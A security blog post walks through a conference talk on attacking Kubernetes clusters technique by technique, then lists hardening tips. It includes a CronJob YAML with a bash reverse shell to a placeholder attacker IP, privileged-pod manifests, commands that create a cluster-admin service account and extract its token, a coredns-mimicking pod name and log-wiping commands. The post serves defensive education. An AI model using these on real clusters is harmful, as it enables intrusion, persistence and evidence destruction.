Who else is in your pod? - Walkthrough of the KubeSec Enterprise Online Talk
Resources

Who else is in your pod? - Walkthrough of the KubeSec Enterprise Online Talk

A walkthrough of the slides covered during the KubeSec Enterprise Online 2021 talk with details of the attacks covered and tips and tricks to harden your Kubernetes cluster.

Riyaz Walikar
September 7, 2021

Background

The idea for the talk came via a discussion we had internally at Kloudle when brainstorming on the different approaches that an attacker would use in an attempt to gain access to a Kubernetes cluster and what they would do when they have "Attacker in a Pod" level access.

Some of the questions we posed to each other were

  • = What does an organization think it exposes to the Internet and what it actually exposes
  • = What tactics and techniques do attackers use to gain access to a Kubernetes cluster
  • = What can a cluster administrator do to prevent attackers from reaching their cluster or slow them down if they do gain access

We imagined an attacker employing different tactics and techniques when attacking a Kubernetes cluster and created this talk with real world examples to support our story.

Here are all the slides from the KubeSec Enterprise Online talk presented virtually on 18th March 2021.

This blog post takes you through the slides and expands on the topics covered in the talk along with additional commentary around the content.

What does your attack footprint look like?

Every organization knows they have visible assets exposed to the Internet. Very few organizations are aware that they have far more assets of interest and information that can be abused by attackers, exposed to the world. We looked at a (small and non-exhaustive) list of data points that can be used in the information gathering phase of an attack.

Attack footprint on the Internet

In my experience as a penetration tester, a lot of data (sometimes connected together) can lead to attackers gaining a foot in the door and subsequent platforms to launch additional attacks.

An example, from the list that I mentioned was the prevalence of metadata inside documents hosted on the Internet. A PDF file for example, will (unless scrubbed) could have the system username of the creator, software that was used to create the PDF file etc.

Another common example we see is how developer's tend to commit secrets, configuration data, host and internal system information etc. in code repos that remain in commit history unless the repo is rebased.

Do folks really expose stuff online?

The claim was not theoretical as examples of common Kubernetes related data was show using the following slides

A screenshot from Shodan.io searching for the "X-Kubernetes-Pf-Flowschema-Uid" header, showing reachable Kuberentes dashboards

Shodan search for Kubernetes

A screenshot from GrayHatWarfare searching for the deployment yaml files, potentially containing kubernetes related data

GrayHatWarfare Search for deployment yaml files

A screenshot from Github showing the vim_settings.xml file also committed. This file is known to contain base64 encoded tokens, secrets, settings etc. for the Intellij IDEA Java IDE

vim_settings.xml file on Github

What do attackers do?

Regardless of motive or skill, most attackers follow a semi structured set of Tactics towards attacking. These set of Tactics act as milestones and have various techniques under each of them by which the Tactic is fulfilled.

What do attackers do?

These Tactics generally align with the following

  • Initial Discovery
  • Code execution
  • Privilege Escalation
  • Persistence
  • Evasion / Evidence Removal
  • Abuse / Impact

MITRE ATT&CK Threat Matrix

MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. They have published multiple Threat Matrices for various technology verticals which are used globally to describe attacker Tactics, Techniques and Procedures

The Threat Matrix describes Tactics, Techniques and Procedures (TTPs) for technologies like Windows, Linux, AWS, GCP, Azure, Android, iOS etc. and can be used by both offensive security folks to plan test cases and defenders to identify attack paths that the bad guys will take.

Based on the MITRE ATT&CK Threat Matrix, Microsoft created a similar framework for Kubernetes

Microsoft Kubernetes Threat Matrix

For each of the Tactic that the Threat Matrix covers, we took examples from real world assessments, breaches, proof of concept setups and real world configurations and mapped them to the framework.

We have covered the Kubernetes ATT&CK framework extensively via a 9 part blog series, which you can start here - /blog/part-1-mapping-the-mitre-att-ck-framework-to-your-kubernetes-cluster-initial-access/.

The presentation contains additional information and real world data that was not covered in the blog posts.

Initial Access: Exposed Dashboard

The Exposed Dashboard is a technique covered under Initial Access that covers the exposure of the Kubernetes dashboard (not installed by default) to the attacker. If accessible to the attacker, this allows for potential cluster management and configuration updates.

Initial Access - Exposed Dashaboard

The screenshot shown in the slide is of a Kubernetes Dashboard belonging to Tesla which was discovered by a security company. The discovery led to another startling discovery where the Kubernetes cluster was found to be running crypto-mining workloads as the attackers had already made their way to the Impact Tactic of the Threat Matrix.

Initial Access: Application Vulnerability

This slide is another example of a technique that attackers often use, especially if the cluster exposes workloads to the attacker via services. An application running within the cluster and exposed to the attacker, if vulnerable, could lead to the attacker gaining file read/write capabilities, ability to make server-side network requests or the ability to execute arbitrary commands.

Application Vulnerability - Shopify SSRF HackerOne bug

The screenshot shows a very popular HackerOne bug report that allowed the bug reporter to extract the certificates required for authenticating with the Kubernetes API server using which the bug reporter was able to gain root shell access to one of the containers within the cluster.

Initial Access

There are multiple other techniques covered in the Threat Matrix, some of which are explained below

Initial Access

Execution: New container

The next Tactic covers techniques that describe what attackers do to execute code. The example that we covered was the launch of a new container. In this case, the container was a privileged container that allows access to the underlying nodes network and process namespaces.

Execution New Container

The Pod yaml shown in the slide is given here and can be used to launch a new privileged container within Kubernetes

apiVersion: v1
kind
: Pod
metadata
:
name: coredns-74ff55c5b-a932b
 labels
:
app: coredns-74ff55c5b-a932b
spec
:
containers:
 - image: coredns-74ff55c5b-a932b
   command
:
     - "sleep"
     - "3600"
imagePullPolicy: IfNotPresent
   name
: coredns-74ff55c5b-a932b
   securityContext
:
capabilities:
add: ["NET_RAW", "NET_ADMIN", "SYS_ADMIN"]
runAsUser: 0
restartPolicy: Never
 hostNetwork
: true
hostPID: true
hostIPC: true

Execution

Other techniques within Execution tactic include exec'ing into an existing container, an application vulnerability that results in a shell or code execution at the OS level or rarely gaining access to a SSH server running inside a container.

Execution Techniques

Persistence: Kubernetes Cronjobs

The next Tactic covers techniques that allow the attacker to "persist" within the target cluster. Although not exhaustive, the techniques covered here do allow an attacker to plant their feet within the cluster and use the new setup access to continue working within the cluster.

Kubernetes Cronjob that returns a reverse shell

The example that was covered in the slides was the usage of a Kubernetes Cronjob that will at periodic intervals attempt to send a reverse shell to the attacker IP.

The following yaml was used to create the Kubernetes cronjob that would give you a reverse shell every minute. So if a connection drops or the shell is killed, a new shell will be connected at the end of a minute.

Replace the <attacker-ip> with the IP address where netcat is listening on port 9091. You can change the port number as well if you would like.

apiVersion: batch/v1beta1
kind
: CronJob
metadata
:
name: jobshell
spec
:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
         - name: coredns-74ff55c5b-a932b
           image
: coredns-74ff55c5b-a932b
           imagePullPolicy
: IfNotPresent
           command
:
           - bash
           
- -c
           
- "bash -i >& /dev/tcp/attacker-ip/9091 0>&1"
restartPolicy: OnFailure

Persistence

Attackers can use various other techniques to remain hidden within the cluster, some other techniques are highlighted in the next slide.

Persistence in Kubernetes

Once attackers have gained code execution capabilities, attacker can choose to persist by performing out of band attacks as well like adding an SSH key to the underlying host, create shadow admin users and roles, update app code to provide shell access to containers, reuse secrets and tokens from Secrets and ConfigMaps or add a backdoor binary to running containers after gaining exec.

In my Opinion, attackers like to persist in most networks for the thrill of seeing how long it takes for owners to boot them out, to use the network as a means of a further attack/abuse or as a symbolic trophy in their "pwned" collection.

Privilege Escalation: Cluster-admin binding

The next Tactic is that of Privilege Escalation. Attackers are constantly on the lookout for mis-configurations, overly permissive policies or credentials that can help them impersonate another user, or even better a higher privilege user.

The example that we covered was that of Cluster-admin binding. In Kubernetes, a cluster-admin has the ability to administer the entire cluster and is considered to be the highest privilege user. The cluster-admin clusterrolebinding is used to map a user to the cluster-admin clusterrole privilege.

Privilege Escalation using cluster-admin binding

We enumerate all users to whom a clusterrolebinding is bound and look at the one's that have the cluster-admin clusterrole using the following command

kubectl get clusterrolebindings -o=custom-columns=NAME:.metadata.name,BINDING:.roleRef.name --sort-by=.roleRef.name

An attacker can then choose to discover the token for the listed clusterroles or attempt to create a new serviceaccount that will have the clusterrolebinding bound to it.

The following set of commands is used to create a serviceaccount called cluster-sa in the kube-system namespace and then bind it to a cluster-admin clusterrolebinding.

kubectl -n kube-system create serviceaccount cluster-sa
kubectl create clusterrolebinding cluster-sa --clusterrole cluster-admin --serviceaccount=kube-system:cluster-sa
SECRET=$(kubectl get sa cluster-sa -n kube-system -o jsonpath={.secrets[].name})
kubectl get secret $SECRET -n kube-system -o jsonpath={.data.token} | base64 -d

An administrative API request can be made to the API server using the obtained JWT token.

Privilege Escalation

To be able to ensure they remain stealthy, inflict maximum damage, access protected resources or to even evade defenses, escalation to a user with higher privileges is a sure way of completing attacker objectives.

Privilege Escalation

Some other commonly applied techniques are the reading and reuse of credential information, using the mapped service token mounted at /run/secrets/kubernetes.io/serviceaccount/token, identifying privileged containers to gain access to underlying nodes and the leaking of secrets through metadata endpoint and cloud platform service accounts.

Defence Evasion: Pod name similarity

This tactic comes into play when attackers are attempting to hide their presence and malicious activity within the cluster.

The example that we covered was that of a non-destructive technique in which attackers choose to use the naming convention of legitimate workloads to create malicious pods that have similar sounding names.

Defence Evasion Pod name similarity

In the yaml that was shown on the slide had a name that was very similar to the naming convention of the coredns deployment within the kube-system namespace.

apiVersion: v1
kind
: Pod
metadata
:
name: coredns-74ff55c5b-a932b
 namespace
: kube-system
 labels
:
app: coredns-74ff55c5b-a932b
spec
:
containers:
 - image: ubuntu
   command
:
     - "sleep"
     - "3600"
imagePullPolicy: IfNotPresent
   name
: ubuntu
   securityContext
:
capabilities:
add: ["NET_RAW", "NET_ADMIN", "SYS_ADMIN"]
runAsUser: 0
restartPolicy: Never
 hostNetwork
: true
hostPID: true
hostIPC: true

The yaml can be updated to reflect an existing deployment to hide in plain sight.

Defence Evasion

The techniques covered under this tactic can be destructive as the attacker may simply choose to wipe all log information about their activities within the cluster.

Defence Evasion

For example, an attacker can perform destructive actions to clear all pod logs by deleting the contents of /var/log/pods or clear Kubernetes events using kubectl delete events -all.

Credential Access: Container service account

Credential Access Tactic allows attackers to identify additional credentials, keys and tokens that can be misused to move laterally within the cluster or to attempt to breakout to the underlying infrastructure, be it the underlying node or the cloud platform itself.

The example that we covered from the various techniques under this tactic was the usage of the container service account mounted in each container (unless explicitly directed not to do so).

Credential Access - Container service account

In the screenshot within the slide, an attempt is being made to access the Kubernetes API server from within a pod using the cURL command - curl https://kubernetes/api/v1 --insecure, without success.

However, when the token extracted from the mount point within the pod is used as an Authorization bearer token, the API responds to requests as the authentication requirement has now been met.

Credential Access

Most attackers will try and identify alternate regions, resources and networks that they can gain access to from their vantage point once they are within the cluster.

Credential Access Other Techniques

Attackers try to read and reuse secrets from the Kubernetes secrets store, service principal mounted for the cloud platform, the mount point token (whose example we saw earlier) and app credentials, tokens and keys from configMaps and pod descriptions.

Discovery: Instance Metadata API

The Discovery tactic covers techniques used by attackers to gather additional information from their vantage point once privilege escalation and credential access is completed.

In my opinion, the Discovery tactic is covered too late within the Threat Matrix as most attackers would perform discovery based scans, attempts to identify access etc. pretty early on in the attack chain.

The example technique that was covered in the talk was the access to the Instance Metadata API. Although, the screenshot shows the access to an Azure instance metadata endpoint, the technique is applicable to all cloud platforms.

Discovery Instance metadata API endpoint

Different instance metadata endpoints reveal different pieces of information depending on the cloud platform on which they are running.

Discovery

To find additional resources that attackers can reach and exploit, various combination of techniques, some of them already covered are executed.

Discovery Tactic

These include access to the Kubernetes API server, Kubelet REST API on ports 10250 and 10255, network service discovery using tools like Nmap, additional resource information obtained via access to the Kubernetes Dashboard and access to the cloud platform via credentials leaked within the cluster or via the Instance metadata endpoint.

Lateral Movement: Dashboard Access

The Lateral Movement tactic covers techniques that attackers use to move laterally to a different resource or escape the cluster into the cloud platform itself.

Lateral Movement - Dashboard Access

The example we covered was the access to the Kubernetes dashboard that allows an attacker to move to any container within the cluster (based on access) and from there moving on to the underlying node or the cloud platform via privileged pods, service principals and instance metadata credentials.

Lateral Movement

All the techniques covered under the Lateral Movement tactic have been covered under various other tactics so far, except the Helm Tiller endpoint technique.

Lateral Movement

Older versions of Helm (up to v2) had a server side component called Tiller which exposed an API endpoint that could be accessed without authentication on port 44134. This could be used to make a request to install resources using the helm client as shown below

  • helm --host tiller-deploy.kube-system:44134 install <packagename>

Impact: Resource Hijacking

The last tactic in the Kubernetes Threat Matrix is the Impact tactic. The techniques covered under here simply describe the actions that an attacker takes that describe the attacker's objectives.

Impact: Resource Hijacking

In the example covered in the talk, we looked at a screenshot of the Kubernetes Dashboard which showed the hijacking of a cluster belonging to Tesla to run cryptomining workloads.

Impact

The techniques under the Impact tactic are used to describe the final objective of an attacker in the attack chain.

Impact slide

Some of the documented techniques include data destruction by rolling back deployments, deleting volumes and claims, altering the state of the cluster to create a Denial of Service condition (remove or alteration of configuration data for example).

Tips and Tricks to secure your cluster

The last leg of the talk covers tips and hardening tricks that can be employed to reduce the cluster's attack surface and improve the attack repelling capabilities of the components.

Tips and Tricks to Harden and Secure a Kubernetes cluster

Quick things to note

  1. Keep Kubernetes updated, including core components, API server, etcd etc. Ensure that any new updates, especially security updates are applied. Patch test before you update the core components.
  2. Restrict SSH access to the nodes to only trusted IP addresses. Setup a jumpbox from which the nodes are accessible. Hide SSH for all other sources using the cloud platform's Security Group or in case of standalone servers, using local iptable rules.
  3. Use Kubernetes NetworkPolicies judiciously, allow only what is required with a default deny otherwise. Create an elaborate access map of the services within your cluster and use NetworkPolicies to hide other services.
  4. Audit roles and bindings, serviceaccounts, IAM access, look for shadow admins, use RBAC judiciously. Periodically, review and remove users, roles and bindings within the cluster.
  5. Scan images in your pipeline using tools like Trivy to identify vulnerabilities that may become potential hazards. Image scanning has become a mainstream concept now. Run vulnerability scans for images in the pipeline or as a separate activity.
  6. Remove deployments that are no longer required. Unused deployments can linger and may provide unwanted access to resources. In the case of privileged pods, a deployment may result in privilege escalation.
  7. Run pods with a security context and a defined user, say no to root. Using a root user for everyday workloads must be avoided, else an attacker can abuse the access already available to move to a different part of the cluster.
Tips and Tricks to Harden and Secure a Kubernetes cluster
  1. Use namespaces to create logical segregation of resources. Logical segregation allows for easy monitoring, maintaining and troubleshooting of resources.
  2. Do not store secrets in environment variables, in pod description or configMaps. Secrets in these locations can easily be read by an attacker in the event of a cluster compromise. Additionally, the official documentation of Kubernetes asks users to not store secrets within these resources but instead using the Kubernetes secret store or a Vault program.
  3. Ensure minimum visibility from the outside. The less the attacker can see, the more difficult to attack it is for the attackers to discover services to attack.
  4. Take application security into consideration, practice defense in depth. Application vulnerabilities can lead the attacker directly into a pod from where the attacker can launch other attacks or steal data.
  5. Be wary of suspicious looking outbound traffic. Monitor egress to identify any tell-a-tale signs of a breach within your cluster.
  6. Use a hardening guideline like the CIS Kubernetes benchmark and tools like kube-bench to identify potential misconfigurations. This will also help your cluster stay compliant.
  7. Monitor and create an actionable roadmap into what your cluster is doing, who has access, what kind of access, what privileges are different components running, where are the logs going, what privileges does the IAM user have etc. Review this roadmap periodically for changes due to business decisions or the introduction of new configuration or software.

To close the talk, we have Dilbert

I ended the talk with one of my favorite Dilbert comics. Technical solutions need careful planning, inspection and implementation. New technology is not a panacea for problem solving.

Dilbert Kubernetes comic

Conclusion

Understanding how attackers move across different tactics using the Threat Matrix as a reference gives us a clear picture of what to expect when they do come calling. In the talk we covered examples of multiple techniques that attackers use in the real world to go from Initial Access, all the way to the Impact tactic.

We ended the talk with a section on Tips and Tricks that can be used to keep the cluster secure. The tips stem from ensuring software is up to date, mis-configurations are weeded out, practicing defense in depth, principles of least privileges, scanning of images and running compliance checks. Collectivity minimizing the attack surface alongside this guidance is a good overall strategy.

ABOUT THE AUTHOR
Riyaz Walikar

Enjoyed this read?

Subscribe to our newsletter and stay ahead with more great insights and resources on cloud security!

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.